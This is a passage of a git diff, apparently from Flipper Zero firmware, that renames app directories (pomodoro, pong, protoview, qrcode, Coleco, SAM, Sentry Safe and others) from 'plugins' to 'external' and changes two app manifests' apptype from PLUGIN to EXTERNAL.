a/applications/plugins/pomodoro/flipp_pomodoro_10.png b/applications/external/pomodoro/flipp_pomodoro_10.png similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_10.png rename to applications/external/pomodoro/flipp_pomodoro_10.png diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app.c b/applications/external/pomodoro/flipp_pomodoro_app.c similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app.c rename to applications/external/pomodoro/flipp_pomodoro_app.c diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app.h b/applications/external/pomodoro/flipp_pomodoro_app.h similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app.h rename to applications/external/pomodoro/flipp_pomodoro_app.h diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app_i.h b/applications/external/pomodoro/flipp_pomodoro_app_i.h similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app_i.h rename to applications/external/pomodoro/flipp_pomodoro_app_i.h diff --git a/applications/plugins/pomodoro/helpers/debug.h b/applications/external/pomodoro/helpers/debug.h similarity index 100% rename from applications/plugins/pomodoro/helpers/debug.h rename to applications/external/pomodoro/helpers/debug.h diff --git a/applications/plugins/pomodoro/helpers/notifications.c b/applications/external/pomodoro/helpers/notifications.c similarity index 100% rename from applications/plugins/pomodoro/helpers/notifications.c rename to applications/external/pomodoro/helpers/notifications.c diff --git a/applications/plugins/pomodoro/helpers/notifications.h b/applications/external/pomodoro/helpers/notifications.h similarity index 100% rename from applications/plugins/pomodoro/helpers/notifications.h rename to applications/external/pomodoro/helpers/notifications.h diff --git a/applications/plugins/pomodoro/helpers/time.c b/applications/external/pomodoro/helpers/time.c similarity index 100% rename from applications/plugins/pomodoro/helpers/time.c rename to applications/external/pomodoro/helpers/time.c diff --git a/applications/plugins/pomodoro/helpers/time.h b/applications/external/pomodoro/helpers/time.h similarity index 100% rename from applications/plugins/pomodoro/helpers/time.h rename to applications/external/pomodoro/helpers/time.h diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_rate b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_rate similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_rate rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_rate diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_rate b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_rate similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_rate rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_rate diff --git a/applications/plugins/pomodoro/modules/flipp_pomodoro.c b/applications/external/pomodoro/modules/flipp_pomodoro.c similarity index 100% rename from applications/plugins/pomodoro/modules/flipp_pomodoro.c rename to applications/external/pomodoro/modules/flipp_pomodoro.c diff --git a/applications/plugins/pomodoro/modules/flipp_pomodoro.h b/applications/external/pomodoro/modules/flipp_pomodoro.h similarity index 100% rename from applications/plugins/pomodoro/modules/flipp_pomodoro.h rename to applications/external/pomodoro/modules/flipp_pomodoro.h diff --git a/applications/plugins/pomodoro/scenes/.keep b/applications/external/pomodoro/scenes/.keep similarity index 100% rename from applications/plugins/pomodoro/scenes/.keep rename to applications/external/pomodoro/scenes/.keep diff --git a/applications/plugins/pomodoro/scenes/config/flipp_pomodoro_scene_config.h b/applications/external/pomodoro/scenes/config/flipp_pomodoro_scene_config.h similarity index 100% rename from applications/plugins/pomodoro/scenes/config/flipp_pomodoro_scene_config.h rename to applications/external/pomodoro/scenes/config/flipp_pomodoro_scene_config.h diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.c b/applications/external/pomodoro/scenes/flipp_pomodoro_scene.c similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.c rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene.c diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.h b/applications/external/pomodoro/scenes/flipp_pomodoro_scene.h similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.h rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene.h diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene_timer.c b/applications/external/pomodoro/scenes/flipp_pomodoro_scene_timer.c similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene_timer.c rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene_timer.c diff --git a/applications/plugins/pomodoro/views/.keep b/applications/external/pomodoro/views/.keep similarity index 100% rename from applications/plugins/pomodoro/views/.keep rename to applications/external/pomodoro/views/.keep diff --git a/applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.c b/applications/external/pomodoro/views/flipp_pomodoro_timer_view.c similarity index 100% rename from applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.c rename to applications/external/pomodoro/views/flipp_pomodoro_timer_view.c diff --git a/applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.h b/applications/external/pomodoro/views/flipp_pomodoro_timer_view.h similarity index 100% rename from applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.h rename to applications/external/pomodoro/views/flipp_pomodoro_timer_view.h diff --git a/applications/plugins/pong/application.fam b/applications/external/pong/application.fam similarity index 100% rename from applications/plugins/pong/application.fam rename to applications/external/pong/application.fam diff --git a/applications/plugins/pong/flipper_pong.c b/applications/external/pong/flipper_pong.c similarity index 100% rename from applications/plugins/pong/flipper_pong.c rename to applications/external/pong/flipper_pong.c diff --git a/applications/plugins/pong/pong.png b/applications/external/pong/pong.png similarity index 100% rename from applications/plugins/pong/pong.png rename to applications/external/pong/pong.png diff --git a/applications/plugins/protoview/LICENSE b/applications/external/protoview/LICENSE similarity index 100% rename from applications/plugins/protoview/LICENSE rename to applications/external/protoview/LICENSE diff --git a/applications/plugins/protoview/README.md b/applications/external/protoview/README.md similarity index 100% rename from applications/plugins/protoview/README.md rename to applications/external/protoview/README.md diff --git a/applications/plugins/protoview/app.c b/applications/external/protoview/app.c similarity index 100% rename from applications/plugins/protoview/app.c rename to applications/external/protoview/app.c diff --git a/applications/plugins/protoview/app.h b/applications/external/protoview/app.h similarity index 100% rename from applications/plugins/protoview/app.h rename to applications/external/protoview/app.h diff --git a/applications/plugins/protoview/app_subghz.c b/applications/external/protoview/app_subghz.c similarity index 100% rename from applications/plugins/protoview/app_subghz.c rename to applications/external/protoview/app_subghz.c diff --git a/applications/plugins/protoview/appicon.png b/applications/external/protoview/appicon.png similarity index 100% rename from applications/plugins/protoview/appicon.png rename to applications/external/protoview/appicon.png diff --git a/applications/plugins/protoview/application.fam b/applications/external/protoview/application.fam similarity index 100% rename from applications/plugins/protoview/application.fam rename to applications/external/protoview/application.fam diff --git a/applications/plugins/protoview/crc.c b/applications/external/protoview/crc.c similarity index 100% rename from applications/plugins/protoview/crc.c rename to applications/external/protoview/crc.c diff --git a/applications/plugins/protoview/custom_presets.h b/applications/external/protoview/custom_presets.h similarity index 100% rename from applications/plugins/protoview/custom_presets.h rename to applications/external/protoview/custom_presets.h diff --git a/applications/plugins/protoview/fields.c b/applications/external/protoview/fields.c similarity index 100% rename from applications/plugins/protoview/fields.c rename to applications/external/protoview/fields.c diff --git a/applications/plugins/protoview/images/ProtoViewSignal.jpg b/applications/external/protoview/images/ProtoViewSignal.jpg similarity index 100% rename from applications/plugins/protoview/images/ProtoViewSignal.jpg rename to applications/external/protoview/images/ProtoViewSignal.jpg diff --git a/applications/plugins/protoview/images/protoview_1.jpg b/applications/external/protoview/images/protoview_1.jpg similarity index 100% rename from applications/plugins/protoview/images/protoview_1.jpg rename to applications/external/protoview/images/protoview_1.jpg diff --git a/applications/plugins/protoview/images/protoview_2.jpg b/applications/external/protoview/images/protoview_2.jpg similarity index 100% rename from applications/plugins/protoview/images/protoview_2.jpg rename to applications/external/protoview/images/protoview_2.jpg diff --git a/applications/plugins/protoview/protocols/b4b1.c b/applications/external/protoview/protocols/b4b1.c similarity index 100% rename from applications/plugins/protoview/protocols/b4b1.c rename to applications/external/protoview/protocols/b4b1.c diff --git a/applications/plugins/protoview/protocols/keeloq.c b/applications/external/protoview/protocols/keeloq.c similarity index 100% rename from applications/plugins/protoview/protocols/keeloq.c rename to applications/external/protoview/protocols/keeloq.c diff --git a/applications/plugins/protoview/protocols/oregon2.c b/applications/external/protoview/protocols/oregon2.c similarity index 100% rename from applications/plugins/protoview/protocols/oregon2.c rename to applications/external/protoview/protocols/oregon2.c diff --git a/applications/plugins/protoview/protocols/pvchat.c b/applications/external/protoview/protocols/pvchat.c similarity index 100% rename from applications/plugins/protoview/protocols/pvchat.c rename to applications/external/protoview/protocols/pvchat.c diff --git a/applications/plugins/protoview/protocols/tpms/citroen.c b/applications/external/protoview/protocols/tpms/citroen.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/citroen.c rename to applications/external/protoview/protocols/tpms/citroen.c diff --git a/applications/plugins/protoview/protocols/tpms/ford.c b/applications/external/protoview/protocols/tpms/ford.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/ford.c rename to applications/external/protoview/protocols/tpms/ford.c diff --git a/applications/plugins/protoview/protocols/tpms/renault.c b/applications/external/protoview/protocols/tpms/renault.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/renault.c rename to applications/external/protoview/protocols/tpms/renault.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader.c b/applications/external/protoview/protocols/tpms/schrader.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader.c rename to applications/external/protoview/protocols/tpms/schrader.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c b/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c rename to applications/external/protoview/protocols/tpms/schrader_eg53ma4.c diff --git a/applications/plugins/protoview/protocols/tpms/toyota.c b/applications/external/protoview/protocols/tpms/toyota.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/toyota.c rename to applications/external/protoview/protocols/tpms/toyota.c diff --git a/applications/plugins/protoview/protocols/unknown.c b/applications/external/protoview/protocols/unknown.c similarity index 100% rename from applications/plugins/protoview/protocols/unknown.c rename to applications/external/protoview/protocols/unknown.c diff --git a/applications/plugins/protoview/raw_samples.c b/applications/external/protoview/raw_samples.c similarity index 100% rename from applications/plugins/protoview/raw_samples.c rename to applications/external/protoview/raw_samples.c diff --git a/applications/plugins/protoview/raw_samples.h b/applications/external/protoview/raw_samples.h similarity index 100% rename from applications/plugins/protoview/raw_samples.h rename to applications/external/protoview/raw_samples.h diff --git a/applications/plugins/protoview/signal.c b/applications/external/protoview/signal.c similarity index 100% rename from applications/plugins/protoview/signal.c rename to applications/external/protoview/signal.c diff --git a/applications/plugins/protoview/signal_file.c b/applications/external/protoview/signal_file.c similarity index 100% rename from applications/plugins/protoview/signal_file.c rename to applications/external/protoview/signal_file.c diff --git a/applications/plugins/protoview/ui.c b/applications/external/protoview/ui.c similarity index 100% rename from applications/plugins/protoview/ui.c rename to applications/external/protoview/ui.c diff --git a/applications/plugins/protoview/view_build.c b/applications/external/protoview/view_build.c similarity index 100% rename from applications/plugins/protoview/view_build.c rename to applications/external/protoview/view_build.c diff --git a/applications/plugins/protoview/view_direct_sampling.c b/applications/external/protoview/view_direct_sampling.c similarity index 100% rename from applications/plugins/protoview/view_direct_sampling.c rename to applications/external/protoview/view_direct_sampling.c diff --git a/applications/plugins/protoview/view_info.c b/applications/external/protoview/view_info.c similarity index 100% rename from applications/plugins/protoview/view_info.c rename to applications/external/protoview/view_info.c diff --git a/applications/plugins/protoview/view_raw_signal.c b/applications/external/protoview/view_raw_signal.c similarity index 100% rename from applications/plugins/protoview/view_raw_signal.c rename to applications/external/protoview/view_raw_signal.c diff --git a/applications/plugins/protoview/view_settings.c b/applications/external/protoview/view_settings.c similarity index 100% rename from applications/plugins/protoview/view_settings.c rename to applications/external/protoview/view_settings.c diff --git a/applications/plugins/qrcode/application.fam b/applications/external/qrcode/application.fam similarity index 100% rename from applications/plugins/qrcode/application.fam rename to applications/external/qrcode/application.fam diff --git a/applications/plugins/qrcode/icons/qrcode_10px.png b/applications/external/qrcode/icons/qrcode_10px.png similarity index 100% rename from applications/plugins/qrcode/icons/qrcode_10px.png rename to applications/external/qrcode/icons/qrcode_10px.png diff --git a/applications/plugins/qrcode/qrcode.c b/applications/external/qrcode/qrcode.c similarity index 100% rename from applications/plugins/qrcode/qrcode.c rename to applications/external/qrcode/qrcode.c diff --git a/applications/plugins/qrcode/qrcode.h b/applications/external/qrcode/qrcode.h similarity index 100% rename from applications/plugins/qrcode/qrcode.h rename to applications/external/qrcode/qrcode.h diff --git a/applications/plugins/qrcode/qrcode_app.c b/applications/external/qrcode/qrcode_app.c similarity index 100% rename from applications/plugins/qrcode/qrcode_app.c rename to applications/external/qrcode/qrcode_app.c diff --git a/applications/plugins/rc2014_coleco/LICENSE b/applications/external/rc2014_coleco/LICENSE similarity index 100% rename from applications/plugins/rc2014_coleco/LICENSE rename to applications/external/rc2014_coleco/LICENSE diff --git a/applications/plugins/rc2014_coleco/README.md b/applications/external/rc2014_coleco/README.md similarity index 100% rename from applications/plugins/rc2014_coleco/README.md rename to applications/external/rc2014_coleco/README.md diff --git a/applications/plugins/rc2014_coleco/application.fam b/applications/external/rc2014_coleco/application.fam similarity index 100% rename from applications/plugins/rc2014_coleco/application.fam rename to applications/external/rc2014_coleco/application.fam diff --git a/applications/plugins/rc2014_coleco/coleco.c b/applications/external/rc2014_coleco/coleco.c similarity index 100% rename from applications/plugins/rc2014_coleco/coleco.c rename to applications/external/rc2014_coleco/coleco.c diff --git a/applications/plugins/rc2014_coleco/coleco_10px.png b/applications/external/rc2014_coleco/coleco_10px.png similarity index 100% rename from applications/plugins/rc2014_coleco/coleco_10px.png rename to applications/external/rc2014_coleco/coleco_10px.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco0_17x17.png b/applications/external/rc2014_coleco/icons/Coleco0_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco0_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco0_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco0_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco0_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco0_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco0_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco1_17x17.png b/applications/external/rc2014_coleco/icons/Coleco1_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco1_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco1_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco1_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco1_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco1_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco1_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco2_17x17.png b/applications/external/rc2014_coleco/icons/Coleco2_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco2_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco2_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco2_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco2_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco2_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco2_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco3_17x17.png b/applications/external/rc2014_coleco/icons/Coleco3_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco3_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco3_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco3_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco3_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco3_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco3_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco4_17x17.png b/applications/external/rc2014_coleco/icons/Coleco4_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco4_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco4_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco4_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco4_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco4_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco4_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco5_17x17.png b/applications/external/rc2014_coleco/icons/Coleco5_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco5_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco5_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco5_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco5_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco5_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco5_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco6_17x17.png b/applications/external/rc2014_coleco/icons/Coleco6_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco6_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco6_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco6_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco6_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco6_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco6_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco7_17x17.png b/applications/external/rc2014_coleco/icons/Coleco7_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco7_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco7_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco7_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco7_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco7_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco7_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco8_17x17.png b/applications/external/rc2014_coleco/icons/Coleco8_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco8_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco8_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco8_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco8_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco8_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco8_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco9_17x17.png b/applications/external/rc2014_coleco/icons/Coleco9_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco9_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco9_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco9_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco9_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco9_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco9_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoAlt_18x9.png b/applications/external/rc2014_coleco/icons/ColecoAlt_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoAlt_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoAlt_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png b/applications/external/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_hvr_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_hvr_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_hvr_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_hvr_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_sel_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_sel_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_sel_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_sel_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoPound_17x17.png b/applications/external/rc2014_coleco/icons/ColecoPound_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoPound_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoPound_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoPound_hvr_17x17.png b/applications/external/rc2014_coleco/icons/ColecoPound_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoPound_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoPound_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoStar_17x17.png b/applications/external/rc2014_coleco/icons/ColecoStar_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoStar_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoStar_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoStar_hvr_17x17.png b/applications/external/rc2014_coleco/icons/ColecoStar_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoStar_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoStar_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/interface/flipper-coleco.brd b/applications/external/rc2014_coleco/interface/flipper-coleco.brd similarity index 100% rename from applications/plugins/rc2014_coleco/interface/flipper-coleco.brd rename to applications/external/rc2014_coleco/interface/flipper-coleco.brd diff --git a/applications/plugins/rc2014_coleco/interface/flipper-coleco.sch b/applications/external/rc2014_coleco/interface/flipper-coleco.sch similarity index 100% rename from applications/plugins/rc2014_coleco/interface/flipper-coleco.sch rename to applications/external/rc2014_coleco/interface/flipper-coleco.sch diff --git a/applications/plugins/rc2014_coleco/ui.png b/applications/external/rc2014_coleco/ui.png similarity index 100% rename from applications/plugins/rc2014_coleco/ui.png rename to applications/external/rc2014_coleco/ui.png diff --git a/applications/plugins/rubiks_cube_scrambler/LICENSE b/applications/external/rubiks_cube_scrambler/LICENSE similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/LICENSE rename to applications/external/rubiks_cube_scrambler/LICENSE diff --git a/applications/plugins/rubiks_cube_scrambler/README.md b/applications/external/rubiks_cube_scrambler/README.md similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/README.md rename to applications/external/rubiks_cube_scrambler/README.md diff --git a/applications/plugins/rubiks_cube_scrambler/application.fam b/applications/external/rubiks_cube_scrambler/application.fam similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/application.fam rename to applications/external/rubiks_cube_scrambler/application.fam diff --git a/applications/plugins/rubiks_cube_scrambler/cube.png b/applications/external/rubiks_cube_scrambler/cube.png similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/cube.png rename to applications/external/rubiks_cube_scrambler/cube.png diff --git a/applications/plugins/rubiks_cube_scrambler/rubiks_cube_scrambler.c b/applications/external/rubiks_cube_scrambler/rubiks_cube_scrambler.c similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/rubiks_cube_scrambler.c rename to applications/external/rubiks_cube_scrambler/rubiks_cube_scrambler.c diff --git a/applications/plugins/rubiks_cube_scrambler/scrambler.c b/applications/external/rubiks_cube_scrambler/scrambler.c similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/scrambler.c rename to applications/external/rubiks_cube_scrambler/scrambler.c diff --git a/applications/plugins/rubiks_cube_scrambler/scrambler.h b/applications/external/rubiks_cube_scrambler/scrambler.h similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/scrambler.h rename to applications/external/rubiks_cube_scrambler/scrambler.h diff --git a/applications/plugins/sam/application.fam b/applications/external/sam/application.fam similarity index 96% rename from applications/plugins/sam/application.fam rename to applications/external/sam/application.fam index 1c49eb236..dc0641b3c 100644 --- a/applications/plugins/sam/application.fam +++ b/applications/external/sam/application.fam @@ -1,7 +1,7 @@ App( appid="SAM", name="SAM AYBABTU", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="sam_app", requires=[ "gui", diff --git a/applications/plugins/sam/icons/music_10px.png b/applications/external/sam/icons/music_10px.png similarity index 100% rename from applications/plugins/sam/icons/music_10px.png rename to applications/external/sam/icons/music_10px.png diff --git a/applications/plugins/sam/music_10px.png b/applications/external/sam/music_10px.png similarity index 100% rename from applications/plugins/sam/music_10px.png rename to applications/external/sam/music_10px.png diff --git a/applications/plugins/sam/sam_app.cpp b/applications/external/sam/sam_app.cpp similarity index 100% rename from applications/plugins/sam/sam_app.cpp rename to applications/external/sam/sam_app.cpp diff --git a/applications/plugins/sam/stm32_sam.cpp b/applications/external/sam/stm32_sam.cpp similarity index 100% rename from applications/plugins/sam/stm32_sam.cpp rename to applications/external/sam/stm32_sam.cpp diff --git a/applications/plugins/sam/stm32_sam.h b/applications/external/sam/stm32_sam.h similarity index 100% rename from applications/plugins/sam/stm32_sam.h rename to applications/external/sam/stm32_sam.h diff --git a/applications/plugins/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam similarity index 100% rename from applications/plugins/sentry_safe/application.fam rename to applications/external/sentry_safe/application.fam diff --git a/applications/plugins/sentry_safe/safe_10px.png b/applications/external/sentry_safe/safe_10px.png similarity index 100% rename from applications/plugins/sentry_safe/safe_10px.png rename to applications/external/sentry_safe/safe_10px.png diff --git a/applications/plugins/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c similarity index 100% rename from applications/plugins/sentry_safe/sentry_safe.c rename to applications/external/sentry_safe/sentry_safe.c diff --git a/applications/plugins/signal_generator/application.fam b/applications/external/signal_generator/application.fam similarity index 88% rename from applications/plugins/signal_generator/application.fam rename to applications/external/signal_generator/application.fam index 8edc9221b..133319cf4 100644 --- a/applications/plugins/signal_generator/application.fam +++ b/applications/external/signal_generator/application.fam @@ -1,7 +1,7 @@ App( appid="Signal_Generator", name="[GPIO] Signal Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="signal_gen_app", cdefines=["APP_SIGNAL_GEN"], requires=["gui"], diff --git a/applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png b/applications/external/signal_generator/icons/SmallArrowDown_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png rename to applications/external/signal_generator/icons/SmallArrowDown_3x5.png diff --git 